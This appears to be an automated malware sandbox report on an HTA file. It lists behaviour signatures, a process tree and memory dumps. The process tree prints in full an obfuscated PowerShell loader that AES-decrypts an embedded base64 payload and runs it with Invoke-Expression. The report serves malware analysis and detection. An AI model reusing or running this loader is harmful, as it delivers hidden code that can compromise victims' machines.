Analysis
- max time kernel
149s - max time network
120s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
23/06/2026, 18:13
General
- Target greatthingsaregoingtohappenedsoon.hta
- Size 14KB
- Sample260623-wt21ase13s
- SHA256 0f6756a57143b12ccca613c64e99a969bda5409a35c7c11b9b067c9a9749ba46
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingsaregoingtohappenedsoon.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $atonement = [System.Text.Encoding]::UTF8.GetBytes('0LZa2hLeOfNTaTU1'); if ($atonement.Length -lt 32) { $atonement = $atonement + (0..(31 - $atonement.Length)) }; $frondiferous = [Convert]::FromBase64String('O7g/wmcfwwNqSCm+0p7paP3zN8ocakq4zjNCSVHclJ/KCjCZUUq0ej71a4TbcYlAq56pyl/rMzroAfuMR5VXE0Fl1isPxvG1OyK9IIVfCcEXOH85EyRZxeRq8TjQ4KkGaHvb6dmuEavkM0KR2Kkhxi2C6+lIsKXpdljWvm0iDTxd/4GiMkjIo05G9UCE0/p0k3wqkH/Scein+d6TPJxkiwlALxP6TcrtF1BfZzbEqVKqW02Ms8EeFgzVMdobjcEgkEEYcyVex84PcXeT4Gyito4lV7QYY9MuOZoIUN+aQDmKUEZqs7sInOGllpQG6SYQjRVb6UIsl55p9qSVqOclRCeg82SUPYTsLgt/ZqM8+ReXAX7qrHNZFYaPQNYS60AeMDl+uGaUalKsE6/ep8xhSsOjfNUrKcL9Odg+SH9wz4WY6pWpYP2fobubz0sK7JH+vVYdJHty7pZDyJBfE40l7OLsBLnykPbvUWMyGq1RZ6+/LFGznrrSUsYkPWKXGeODE8ZkUlARbklmol0Q+YDOpKagkmDgEiJV52/bPSbKpp7ukly9Majr6S1ct7PzJrAxEIGnAOoG1qeJM3J3butK8a/tDiCL3md8FLRBMD2QVCatbEpy7nuo04mTRdEtiFwIJIa76XBrsrLyGNh5NBBxaOQ3kWnnBpY3H3ANkEh08nJg+3R60A18tQK0K5CDbU7faC+EE5eIku6v6UErqZOGLOYZGTbfUm64BdSjeUziaxqWfpUtH6HwueTw+m4fwr7jt1w0aIROTb8WUjXTaeVjNkPtCwaZ52qFhGidUe/7nDGHlv+FiemzrJBEsW141ErwesSdcG5vAp3As8BaxT02mgFjwusKy6zsmA79iNOLQO4tdXGVZ+QoeXhyQfVWU3+rKuANITAkgdVgNQioIPXvl1rIeh/88lcvaWEw/7GKmmsaH5FmuceFEBCExY7Ga2tyWmcBL3QbFb1h6IsKvfRGCb3Uyx3ugais9soBti6eNZJukpOliGbVJMDAWRhack88nfk0ROwcrc9YKu3UQIqYZayPBxvR66U//IeCsTZGKcCEi7EryhbQz9aUvPjaA50i8S0LJwXF72CJRD7bMnTZHmN17/5hr0uoc6oWjA6CxlVL6UQR9qm1fyULMx3ZK5fhBg2X1Eqq306Stbb1pq7tNHfchgKG37SlRb5/6o8PnXpnk/G7984ZIUBIGluc6ew2hGEqMaRYktZldlPK3pqNBuQqEP//OinyiyYRrscTU5JSr94UdD8bJHhFLaNRqsBLS++x9qvszwtB0yg4Ry+psersDxXjxfPADwPnUeYITjVmCdaZiFZp6+9ShYbZPU5irB5iVzcdUy3AaIuqw5aiI90Cwzukh61C15KBXrQI+XLmG+XBwnZ46ZLmHnzIsdVnysbMKBzOTm+EJYcI9/U3ReZNyNtqZRCW+zQ5oFUVRnsZZ9gd+Wp+4bZlEv1RZq4QE99f6vMmBE9LLQY5Gf4ttBbKSsbaqhrWIL8QKi9U2lFJxI5RWRaPAhLNG5ALN80Suo2DQpKoVQdLFww1DPQyhfv4fuSm0xz+KgOhD0qUxr5Phf1i8HQi0Kr78LEvNfSxsRtNki6m9D49+E99aB6lEcrJnNcYoErP/O8c05GlB6NpJqJHIkh+/ClqdU1lVsiu6pRBgDwbMFU/uG0w9UO0/1L+wobt0GysII4zVZFBoOMBC4q+D8mN5taG+anD3zEt'); $exciter = $frondiferous[0..15]; $shimmered = $frondiferous[16..($frondiferous.Length-1)]; $tmRNA = [System.Security.Cryptography.Aes]::Create(); $tmRNA.Key = $atonement; $tmRNA.IV = $exciter; $smugly = $tmRNA.CreateDecryptor(); $Genevans = $smugly.TransformFinalBlock($shimmered, 0, $shimmered.Length); $ketoaldose = [System.Text.Encoding]::UTF8.GetString($Genevans); Invoke-Expression $ketoaldose; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2592-0-0x00007FFA3BFCF000-0x00007FFA3BFD0000-memory.dmp
memory/2592-1-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-2-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-5-0x0000014D88A60000-0x0000014D88A82000-memory.dmp
memory/2592-6-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-7-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-8-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-9-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-10-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-11-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-12-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-13-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-14-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-15-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp
memory/2592-18-0x00007FFA3BE40000-0x00007FFA3C7E4000-memory.dmp